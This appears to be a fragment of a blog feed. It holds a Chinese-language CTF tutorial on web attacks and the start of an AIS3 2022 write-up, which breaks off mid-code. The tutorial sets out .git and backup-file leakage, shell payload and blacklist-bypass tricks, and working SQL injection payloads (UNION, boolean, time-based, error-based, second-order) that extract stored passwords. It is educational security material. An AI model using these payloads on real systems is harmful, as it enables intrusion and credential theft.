    <content type="html"><![CDATA[<p>先前高中一直沒有整理CTF相關的內容，決定將第一篇的整理留給入門曲線最和善的Web了XD在所有的CTF題目種類當中，Web時常被定義為容易入門的項目，但相對其他種類來說，它的變化也相當繁複，通常一道題中會夾雜非常多知識點(或通靈能力?)，因此需要透過全盤的接觸才能慢慢掌握到Web題目的解題策略。這篇裡面會整理一些常見的Web基礎攻擊技巧與SQL Injection，同時會推薦一些適合的工具，歡迎各位來訊說明或補充筆者不足的部分喔!🥳</p><h1 id="Tricks"><a href="#Tricks" class="headerlink" title="Tricks"></a>Tricks</h1><p>首先是一些相對雜亂的小技法，如目錄洩漏、Payload建構等，這些小地方雖然雜且少，但在Web的競賽中有時會扮演決定性的角色，因此不可小看這些看似微不足道的技巧喔!</p><h2 id="Git"><a href="#Git" class="headerlink" title="Git"></a>Git</h2><p>Git是目前非常廣為使用的一項去中心化版本控制系統(DRCS)，但在架設網站時，若開發者沒有注意<code>.git/</code>資料夾存在在網站上，很可能導致攻擊者能夠從資料夾中直接獲取網站開發的原始碼，進而發現網站弱點進行攻擊。</p><div class="note danger flat"><p>注意!<code>.git/</code>資料夾無存取權(403)並不代表檔案無法被攻擊者透過工具取得(因資料夾存在)</p></div><h3 id="常用工具"><a href="#常用工具" class="headerlink" title="常用工具"></a>常用工具</h3><ul><li><a href="https://github.com/denny0223/scrabble">Scrabble</a>：存取並基本還原<code>.git/</code>資料夾到本機</li><li><a href="https://github.com/wangyihang/GitHacker">GitHacker.py</a>：幾乎可完整還原<code>.git/</code>資料夾中所有資料</li><li><a href="https://git-scm.com/">Git</a>：一般git工具</li></ul><h3 id="攻擊手法"><a href="#攻擊手法" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><ol><li>直接存取<code>.git/</code>資料夾挖掘漏洞<br>簡單暴力，直接clone資料夾尋找漏洞檔案，屬於較一般的git漏洞挖掘</li><li>透過<code>git</code>指令存取分支(branches)<br><code>git</code>在進行版本修改時能夠存在多個分支，敏感檔案可能不存在於當前分支下，此時可透過此方法切換分支來存取不同分支下的檔案。</li></ol><p>常用指令如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">log</span> --all //觀察資料夾曾經修改了哪些項目</span><br><span class="line">git branch -v //印出分支與分支的所有commit</span><br><span class="line">git checkout &lt;branch_name&gt; //切換到&lt;branch_name&gt;分支</span><br><span class="line"><span class="built_in">ls</span> -al</span><br><span class="line"><span class="built_in">cat</span> &lt;file&gt;</span><br></pre></td></tr></table></figure><ol start="3"><li>透過<code>git</code>指令回溯檔案更改內容<br>若是敏感檔案內容曾經在某次commit中出現，但其後被更改或刪除，此時可透過此方法來還原檔案的原先內容。</li></ol><p>常用指令如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git reset --hard HEAD^ //HEAD為目前版本，HEAD^表示切換到上一版本</span><br><span class="line">git <span class="built_in">log</span> --all //觀察資料夾曾經修改了哪些項目</span><br><span class="line">git diff HEAD &lt;commit_id&gt; //列出&lt;commit_id&gt;版本與當前版本的差別</span><br><span class="line"><span class="built_in">ls</span> -al</span><br><span class="line"><span class="built_in">cat</span> &lt;file&gt;</span><br></pre></td></tr></table></figure><h2 id="目錄爆破"><a href="#目錄爆破" class="headerlink" title="目錄爆破"></a>目錄爆破</h2><p>簡單而言是利用一些常見檔案名稱作為字典檔進行網站目錄暴力搜索，列出可存取的一些目錄以供攻擊者存取，尋找漏洞。</p><h3 id="常用工具-1"><a href="#常用工具-1" class="headerlink" title="常用工具"></a>常用工具</h3><ul><li><a href="https://github.com/maurosoria/dirsearch">dirsearch</a>：搜索常見檔案目錄工具</li></ul><h2 id="備份檔案洩漏"><a href="#備份檔案洩漏" class="headerlink" title="備份檔案洩漏"></a>備份檔案洩漏</h2><p>備份檔案洩漏的發生，常常是因為開發者在更改網站資料時所遺留在目錄中的備份檔案遭到攻擊者惡意存取，導致重要的原始碼或資料外洩導致，常見的種類有gedit、vim等文字編輯器的備份檔案，以及一些常見的經典檔案，如<code>robots.txt</code>等。</p><h3 id="常用工具-2"><a href="#常用工具-2" class="headerlink" title="常用工具"></a>常用工具</h3><ul><li><a href="https://github.com/lijiejie/ds_store_exp">ds_store_exp.py</a>：還原<code>.DS_Store</code>中紀錄的檔案路徑並存取到本機</li></ul><h3 id="攻擊手法-1"><a href="#攻擊手法-1" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><ul><li>vim：<code>.&lt;filename&gt;.swp</code> <code>.&lt;filename&gt;.swo</code> <code>.&lt;filename&gt;.swn</code></li></ul><div class="note success flat"><p>vim回復檔案方法：<code>vim -r &lt;filename&gt;</code>(當前目錄下有備份檔)</p></div><ul><li>gedit：<code>&lt;filename&gt;~</code></li><li><code>robots.txt</code>、<code>.DS_Store</code>、<code>.htaccess</code>、<code>readme.md</code>、<code>www.zip/.rar/.tar.gz</code></li></ul><h2 id="Payload-Tricks"><a href="#Payload-Tricks" class="headerlink" title="Payload Tricks"></a>Payload Tricks</h2><p>這裡是一些建構Payload的小技巧，若是在建構時發現被阻擋了某些條件，不妨試試這裡所整理的小技巧吧!</p><ul><li><code>*</code>：代表任意<strong>數個</strong>字串</li><li><code>?</code>：代表任意<strong>一個</strong>字串</li><li><code>&lt;cmd_1&gt; &amp;&amp; &lt;cmd_2&gt;</code>：<code>&lt;cmd_1&gt;</code>執行完畢接續執行<code>&lt;cmd_2&gt;</code></li><li><code>&lt;cmd_1&gt; || &lt;cmd_2&gt;</code>：無論<code>&lt;cmd_1&gt;</code>有無執行，完畢後接續執行<code>&lt;cmd_2&gt;</code></li><li><code>&lt;cmd_1&gt; &amp; &lt;cmd_2&gt;</code>：<code>&lt;cmd_1&gt;</code>丟入背景執行完畢接續執行<code>&lt;cmd_2&gt;</code></li><li><code>&lt;cmd_1&gt; | &lt;cmd_2&gt;</code>：pipe管線指令，將<code>&lt;cmd_1&gt;</code>的輸出做為<code>&lt;cmd_2&gt;</code>的輸入執行</li><li>跳脫字元：<code>\a</code>、<code>\b</code>等，不等同於<code>a</code>、<code>b</code></li><li>特殊字元：<code>\n</code>(若單行限制可以此換行用)、<code>\r</code>、<code>\t</code></li><li>空白字元：除<code>%20</code>外，可嘗試<code>%09</code>、<code>%0a</code>、<code>%0c</code>等(黑名單可試)</li><li>`&lt;cmd&gt;`：等同<code>system(&#39;&lt;cmd&gt;&#39;)</code>、<code>$(&lt;cmd&gt;)</code>(某些情況)(黑名單可試)</li></ul><h2 id="後端攻擊"><a href="#後端攻擊" class="headerlink" title="後端攻擊"></a>後端攻擊</h2><p>有時透過不同的伺服器支持系統，如apache、nginx等，會發展出不同的漏洞方式，通常是針對同一種資料做出不同解讀所導致的漏洞繞過，如LFI等攻擊，這些漏洞會留待後日介紹到相關內容後再一併介紹。</p><h1 id="SQL-Injection"><a href="#SQL-Injection" class="headerlink" title="SQL Injection"></a>SQL Injection</h1><p>SQL Injection是針對SQL database所發展出的一種攻擊模式，基於開發者過濾SQL表達式的不嚴謹，攻擊者能夠透過各種方式擾亂SQL表達式來執行惡意指令，從資料庫中讀取敏感內容。在此以CTF競賽中最常出現的MySQL作為說明。筆者在此預設讀者已經能夠讀懂SQL語法，若不熟悉者可參考<a href="https://www.1keydata.com/tw/sql/sql.html">此教學</a>。</p><h2 id="取得資料庫內部名稱"><a href="#取得資料庫內部名稱" class="headerlink" title="取得資料庫內部名稱"></a>取得資料庫內部名稱</h2><p>在一般的情況下，除非取得原始碼或其他資料，否則我們並不會知道開發者所使用的資料庫中名稱為何，因此在開始注入前，我們需要透過一些方法來得到資料庫中表名及欄位名稱。最簡單的方法可以透過MySQL 5.0後開始支援的預設資料庫<code>information_schema</code>從中查詢，假設以下方數字植入的部分作為範例，我們可以透過以下表達式來獲取這個資料庫中的所有表名：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span><span class="number">-1</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,group_concat(table_name) <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span>database()</span><br></pre></td></tr></table></figure><p>其中，<code>group_concat</code>函數會將所有回傳的內容以<code>,</code>連接成一個字串，而<code>information_schema.tables</code>即是在取得所有的表名，最後<code>table_schema</code>所存取的參數是欲查詢的名稱，<code>database()</code>則會回傳當前的資料庫名稱。</p><p>同理，當我們已知表名，欲獲取所有<code>NYCU_USER</code>的欄位名稱時，表達式如下：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span><span class="number">-1</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,group_concat(column_name) <span class="keyword">FROM</span> information_schema.columns <span class="keyword">WHERE</span> table_schema<span class="operator">=</span><span class="string">&#x27;NYCU_USER&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="UNION植入"><a href="#UNION植入" class="headerlink" title="UNION植入"></a>UNION植入</h2><p><strong>表達式範例</strong>：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span>&quot;.$_GET[&#x27;id&#x27;]</span><br></pre></td></tr></table></figure><p><strong>猜測方式</strong>：輸入算式可執行</p><p><strong>詳解</strong>：<br>若我們將<code>id</code>設為<code>3-2</code>，SQL將會回傳<code>id=1</code>的內容給使用者，是典型的數字植入表達式，漏洞是基於<code>id</code>在加入表達式之前沒有經過任何轉換就直接拼接。</p><p>此時，我們可以透過<code>UNION</code>表達式，利用聯集查詢注入來繞過這個漏洞。若是我們將<code>id</code>設為<code>1 UNION SELECT user, passwd FROM NYCU_USER</code>，整個表達式就會變成<code>&quot;SELECT title, content FROM NYCU_POST WHERE id=1 UNION SELECT user, passwd FROM NYCU_USER&quot;</code>，因此在顯示<code>id=1</code>的內容同時，也會印出所有在<code>NYCU_USER</code>裡面的使用者與密碼。</p><div class="note success flat"><p>注意!若是印出時有行數限制，可搭配<code>LIMIT</code>條件限定關鍵字使用。<br><code>LIMIT 2,1</code>：取查詢結果第2筆之後的1筆紀錄<br><code>LIMIT 1,2</code>：取查詢結果第1筆之後的2筆紀錄<br>P.S.也可以將<code>id</code>設為<code>-1</code>，這樣<code>id</code>查詢不到之後，就會直接印出<code>NYCU_USER</code>的內容囉!</p></div><h2 id="Boolean植入"><a href="#Boolean植入" class="headerlink" title="Boolean植入"></a>Boolean植入</h2><p><strong>表達式範例</strong>：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span><span class="string">&#x27;&quot;.$_GET[&#x27;</span>id<span class="string">&#x27;].&quot;&#x27;</span>&quot;</span><br></pre></td></tr></table></figure><p><strong>猜測方式</strong>：輸入數字與其他字元(強迫轉換為0)字串拼接可執行</p><p><strong>詳解</strong>：<br>若我們將<code>id</code>設為<code>3-2</code>，此次將不再像上面的範例能夠顯示<code>id=1</code>的內容，但當我們將輸入改為<code>3M</code>時，其將會回傳<code>id=3</code>的內容，因為非數字的字元被強制轉換為0。基於表達式的單引號可閉合，這個範例也能夠搭配註解<code>#</code>阻斷，利用上述的UNION植入來獲取資料，但我們這次嘗試不同的植入方式，布林植入。</p><p>布林植入簡單而言就是利用表達式回傳的正確與否來判斷資料庫中取得的內容，常見使用<code>substring()</code>、<code>mid()</code>等函式來取得字串位置。如若我們要取得<code>NYCU_USER</code>的使用者名稱與密碼，可使用下列表達式：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span><span class="string">&#x27;1&#x27;</span> <span class="keyword">AND</span> (<span class="keyword">SELECT</span> mid((<span class="keyword">SELECT</span> concat(<span class="keyword">user</span>, <span class="number">0x7e</span>, passwd) <span class="keyword">FROM</span> NYCU_USER),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;a&#x27;</span>#</span><br></pre></td></tr></table></figure><p><code>concat</code>函式會將所有的參數連接成一個字串，<code>0x7e</code>代表<code>~</code>，而<code>mid(&lt;parameter&gt;,1,1)</code>則會從<code>&lt;parameter&gt;</code>中第<code>1</code>個位置開始取<code>1</code>位，本判斷式會判斷第一位是否為<code>a</code>，若<code>AND</code>後判斷式為假，則<code>AND</code>結果為假，即不會輸出<code>id=1</code>的內容，可以此來一位一位判斷資料內容，得到完整的資訊。</p><div class="note success flat"><p>Tips：若是植入過程過於冗長，可考慮使用<code>&gt;&#39;a&#39;</code>等語句進行二分搜，可加快尋找字元的效率喔!</p></div><h2 id="時間盲注"><a href="#時間盲注" class="headerlink" title="時間盲注"></a>時間盲注</h2><p>某些題目的SQL查詢結果並不會出現在可見的頁面上，此時我們就只能透過<code>sleep()</code>函數製造時間延遲來決定判斷式的真假。此以第一種範例，無引號SQL表達式作為說明：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span>&quot;.$_GET[&#x27;id&#x27;]</span><br></pre></td></tr></table></figure><p>表達式相同，唯一的差別為不會印出在葉面上，此時我們利用<code>IF()</code>判斷式來構造判斷式：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title, content <span class="keyword">FROM</span> NYCU_POST <span class="keyword">WHERE</span> id<span class="operator">=</span><span class="number">1</span> <span class="keyword">AND</span> <span class="number">1</span><span class="operator">=</span>IF(mid((<span class="keyword">SELECT</span> concat(<span class="keyword">user</span>, <span class="number">0x7e</span>, passwd) <span class="keyword">FROM</span> NYCU_USER),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;a&#x27;</span>, sleep(<span class="number">5</span>), <span class="number">1</span>)&quot;</span><br></pre></td></tr></table></figure><p><code>IF()</code>判斷式會將第一項參數設為條件式，若其為真則執行第二個參數，否則執行第三個參數，在這裡若是我們拼接出的參數第一位為<code>a</code>，則頁面會暫停五秒，否則會正常運行。</p><h2 id="顯示錯誤植入"><a href="#顯示錯誤植入" class="headerlink" title="顯示錯誤植入"></a>顯示錯誤植入</h2><p><strong>表達式範例</strong>：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(&quot;SELECT title, content FROM NYCU_POST WHERE id=&quot;.$_GET[<span class="string">&#x27;id&#x27;</span>]) <span class="keyword">OR</span> VAR_DUMP(mysqli_error($<span class="operator">&lt;</span>conn<span class="operator">&gt;</span>))</span><br></pre></td></tr></table></figure><p><strong>猜測方式</strong>：輸入錯誤表達式會導致輸出錯誤訊息</p><p><strong>詳解</strong>：<br>這種會輸出錯誤訊息的利用方式，是利用<code>mysqli_error()</code>會將前方錯誤語句執行後加入<code>VAR_DUMP()</code>輸出所導致。此時我們可以透過<code>updatexml()</code>製造錯誤，正常而言其第二個參數應為合法XPATH路徑，否則會進入錯誤訊息連帶輸出第二個參數的執行訊息。構造表達式如下所示：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(&quot;SELECT title, content FROM NYCU_POST WHERE id=&#x27;1&#x27; OR updatexml(1,concat(0x7e, (SELECT passwd FROM NYCU_USER)),1)&quot;) <span class="keyword">OR</span> VAR_DUMP(mysqli_error($<span class="operator">&lt;</span>conn<span class="operator">&gt;</span>))</span><br></pre></td></tr></table></figure><p>基於<code>SELECT passwd FROM NYCU_USER</code>回傳值非正規XPATH路徑，畫面顯示錯誤訊息連帶輸出<code>concat(0x7e, (SELECT passwd FROM NYCU_USER))</code>的執行結果。</p><div class="note warning flat"><p>Tips：植入方式嘗試優先序：UNION &gt; 顯示錯誤 &gt; Boolean &gt; 時間盲注</p></div><h2 id="特殊限制繞過"><a href="#特殊限制繞過" class="headerlink" title="特殊限制繞過"></a>特殊限制繞過</h2><ul><li><code>replace()</code>替換<ul><li><code>replace(&#39;SELECT&#39;,&#39;&#39;)</code>：<code>SELSELECTECT</code>可繞過</li><li><code>replace(&#39; &#39;,&#39;&#39;)</code>：<ul><li>透過URLencode，<code>%20</code>外另有<code>%09</code>、<code>%0a-%0d</code>可用</li><li>透過特殊代換，如空註解<code>/**/</code>、空括號<code>()</code>皆會替換成空白</li></ul></li></ul></li><li>Blacklist<ul><li>大小寫替換：<code>SELECT</code>、<code>sELecT</code>功能相同，黑名單判斷不同</li><li>Regex繞過：<code>\bSELECT\b</code>可利用<code>/*!50000SELECT*/</code>繞過</li><li>其餘可參考此<a href="https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet">cheatsheet</a></li></ul></li><li><code>\</code>未跳脫為<code>\\</code><ul><li>直接在<code>&#39;</code>、<code>&quot;</code>前輸入<code>\</code>可將其跳脫為字串一部份</li><li>範例：<code>SELECT * FROM NYCU WHERE user=&#39;&lt;parameter_1&gt;&#39; AND title=&#39;&lt;parameter_2&gt;&#39;</code></li><li><code>&lt;parameter_1&gt; = M3t30r\</code>、<code>&lt;parameter_2&gt; = OR SLEEP(5)#</code></li><li><code>SELECT * FROM NYCU WHERE user=&#39;M3t30r\&#39; AND title=&#39;OR SLEEP(5)#&#39;</code></li><li><code>&#39;M3t30r\&#39; AND title=&#39;</code>變為<code>user</code>參數，系統執行暫停5秒，可攻擊</li></ul></li><li>引號逃逸<ul><li>輸入者可控點遺漏限制：輸入漏洞</li><li>base64、URL等編碼完成後直接執行表達式，未進行<code>addslashes()</code>(php)：可任意閉合引號</li><li>二次注入：<ul><li>開發者認定從資料庫中取得的資訊皆無害</li><li>利用<code>INSERT</code>關鍵字將資料存入資料庫，再從資料庫中取出執行導致漏洞</li><li>範例：資料庫中存有使用者<code>M3t30r</code>之名稱與密碼</li><li>使用者先輸入<code>M3t30r&#39;or&#39;1</code>作為名稱，基於安全，開發者會自動將<code>&#39;</code>跳脫，變為<code>M3t30r\&#39;or\&#39;1</code></li><li>表達式：<code>INSERT INTO NYCU_USER VALUES(2, &#39;M3t30r\&#39;or\&#39;1&#39;,&#39;fake_password&#39;)</code></li><li>資料庫中存在<code>M3t30r</code>與<code>M3t30r&#39;or&#39;1</code>兩位使用者</li><li>當資料庫執行<code>SELECT * FROM NYCU_USER WHERE user=&#39;&lt;user&gt;&#39;</code>取得密碼時，處理<code>M3t30r&#39;or&#39;1</code>使用者時會變成<code>SELECT * FROM NYCU_USER WHERE user=&#39;M3t30r&#39;or&#39;1&#39;</code>(在資料庫內部不會處理跳脫)，直接取得<code>M3t30r</code>之密碼，攻擊成功</li></ul></li><li>字串截斷：限制使用者可用的字串長度，則可利用多餘字串截斷的方式，單獨取得<code>\</code>做為輸入，成功跳脫</li></ul></li></ul><h2 id="統整"><a href="#統整" class="headerlink" title="統整"></a>統整</h2><p>SQL Injection的主要重點在於判斷SQL表達式的漏洞位置與寫法以構造合適的攻擊語句，從上述的幾個技巧中幾乎可以完成75%以上的基本SQL Injection題目，但在現實上，若是成功打進伺服器獲得高層權限，除了可能可以埋進木馬等惡意檔案進行攻擊，也可以控制整個資料庫，使用<code>load_file()</code>(但需要繁複權限設定)或<code>LOAD DATA LOCAL INFILE</code>語法(很少有機會執行完整指令，除了<code>SELECT/UPDATE/INSERT</code>之外)獲取與控制資料，甚至是直接執行伺服器系統指令，造成資料外洩，因此使用SQL資料庫時，務必做好各種必要的防護措施，避免惡意攻擊使資料庫資料流出。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;先前高中一直沒有整理CTF相關的內容，決定將第一篇的整理留給入門曲線最和善的Web了XD在所有的CTF題目種類當中，Web時常被定義為容易入門的項目，但相對其他種類來說，它的變化也相當繁複，通常一道題中會夾雜非常多知識點(或通靈能力?)，因此需要透過全盤的接觸才能慢慢掌握到</summary>
      
    
    
    
    <category term="CTF" scheme="http://blog.albert-web.tw/categories/CTF/"/>
    
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="Education" scheme="http://blog.albert-web.tw/tags/Education/"/>
    
    <category term="Web" scheme="http://blog.albert-web.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>2022 AIS3 Pre-exam Write Up</title>
    <link href="http://blog.albert-web.tw/2022/06/11/AIS3-2022-preexam/"/>
    <id>http://blog.albert-web.tw/2022/06/11/AIS3-2022-preexam/</id>
    <published>2022-06-11T08:40:08.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>今年是我第二年參加 AIS3 的 Pre-Exam，有了去年的經驗今年打起來相對順手不少，但還是希望能夠繼續進步～去年很多解不出來或解很久的類別今年也打得相對比較好，希望之後能夠拿到更好的名次!(今年因為高三要考試ㄌ QQ 沒有花太多時間打，明年要繼續精進!)</p><p><a href="https://ais3.org/">AIS3 官方網站</a></p><p><img src="https://i.imgur.com/fYYXi3P.jpg"></p><h1 id="Welcome"><a href="#Welcome" class="headerlink" title="Welcome"></a>Welcome</h1><h2 id="Welcome-100"><a href="#Welcome-100" class="headerlink" title="Welcome [100]"></a>Welcome [100]</h2><div class="note default flat"><p>Discord ++</p></div><p>嗯對，真的就 Welcome，比賽時間還沒開始就在 AIS3 Discord<code>#general</code>上的釘選了:P<br>P.S.之前被騙太多次一開始以為這是假 flag:P</p><p><img src="https://i.imgur.com/JQ0s5FR.jpg"></p><p>FLAG:<code>AIS3&#123;WTF did I just see the FLAG before CTF starts?&#125;</code></p><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="SC-100-baby"><a href="#SC-100-baby" class="headerlink" title="SC [100] [baby]"></a>SC [100] [baby]</h2><div class="note default flat"><p>SC? SuperChat?<br>Author: maple3142</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1EGbG7XymDej546FAN_gJbUoNkSjnYbd3/view?usp=sharing">https://drive.google.com/file/d/1EGbG7XymDej546FAN_gJbUoNkSjnYbd3/view?usp=sharing</a></p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shuffle</span>(<span class="params">x</span>):</span><br><span class="line">    x = <span class="built_in">list</span>(x)</span><br><span class="line">    random.shuffle(x)</span><br><span class="line">    <span class="keyword">return</span> x</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">T, file</span>):</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(file) <span class="keyword">as</span> f:</span><br><span class="line">        pt = f.read()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;<span class="subst">&#123;file&#125;</span>.enc&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(pt.translate(T))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">charset = string.ascii_lowercase + string.ascii_uppercase + string.digits</span><br><span class="line">shuffled = <span class="string">&quot;&quot;</span>.join(shuffle(charset))</span><br><span class="line">T = <span class="built_in">str</span>.maketrans(charset, shuffled)</span><br><span class="line"></span><br><span class="line">encrypt(T, <span class="string">&quot;flag.txt&quot;</span>)</span><br><span class="line">encrypt(T, __file__)</span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">Substitution cipher</span></span><br><span class="line"><span class="string">From Wikipedia, the free encyclopedia</span></span><br><span class="line"><span class="string">Jump to navigationJump to search</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.</span></span><br><span class="line"><span class="string">Find sources: &quot;Substitution cipher&quot; – news · newspapers · books · scholar · JSTOR (March 2009) (Learn how and when to remove this template message)</span></span><br><span class="line"><span class="string">In cryptography, a substitution cipher is a method of encrypting in which units of plaintext are replaced with the ciphertext, in a defined manner, with the help of a key; the &quot;units&quot; may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution process to extract the original message.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Substitution ciphers can be compared with transposition ciphers. In a transposition cipher, the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged. By contrast, in a substitution cipher, the units of the plaintext are retained in the same sequence in the ciphertext, but the units themselves are altered.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">There are a number of different types of substitution cipher. If the cipher operates on single letters, it is termed a simple substitution cipher; a cipher that operates on larger groups of letters is termed polygraphic. A monoalphabetic cipher uses fixed substitution over the entire message, whereas a polyalphabetic cipher uses a number of substitutions at different positions in the message, where a unit from the plaintext is mapped to one of several possibilities in the ciphertext and vice versa.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Contents</span></span><br><span class="line"><span class="string">1Simple substitution</span></span><br><span class="line"><span class="string">1.1Security for simple substitution ciphers</span></span><br><span class="line"><span class="string">2Nomenclator</span></span><br><span class="line"><span class="string">3Homophonic substitution</span></span><br><span class="line"><span class="string">4Polyalphabetic substitution</span></span><br><span class="line"><span class="string">5Polygraphic substitution</span></span><br><span class="line"><span class="string">6Mechanical substitution ciphers</span></span><br><span class="line"><span class="string">7The one-time pad</span></span><br><span class="line"><span class="string">8Substitution in modern cryptography</span></span><br><span class="line"><span class="string">9Substitution ciphers in popular culture</span></span><br><span class="line"><span class="string">10See also</span></span><br><span class="line"><span class="string">11References</span></span><br><span class="line"><span class="string">12External links</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>題目給了一個<code>cipher.py</code>、加密過的<code>cipher.py.enc</code>與加密過的<code>flag.txt.enc</code>，經過觀察兩個 python 檔的內容後，可以發現本題是 Substitution cipher(人家都直接寫給你看ㄌ w)，因此可以手動將<code>cipher.py</code>與<code>cipher.py.enc</code>對應一一對應字母後推出<code>flag.txt.enc</code>的 flag 內容。</p><p>當然我們也可以寫 code 來解決它&gt;&lt;開一個 python 的 dictionary 來進行一一對應:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">waku = <span class="built_in">open</span>(<span class="string">&quot;cipher.py&quot;</span>,<span class="string">&#x27;r&#x27;</span>).read()</span><br><span class="line">wakuwaku = <span class="built_in">open</span>(<span class="string">&quot;cipher.py.enc&quot;</span>,<span class="string">&#x27;r&#x27;</span>).read()</span><br><span class="line"></span><br><span class="line">sc = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(waku)):</span><br><span class="line">    sc[wakuwaku[i]] = waku[i]</span><br><span class="line"></span><br><span class="line">wakuwakuwaku = <span class="built_in">open</span>(<span class="string">&#x27;flag.txt.enc&#x27;</span>,<span class="string">&#x27;r&#x27;</span>).read()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> 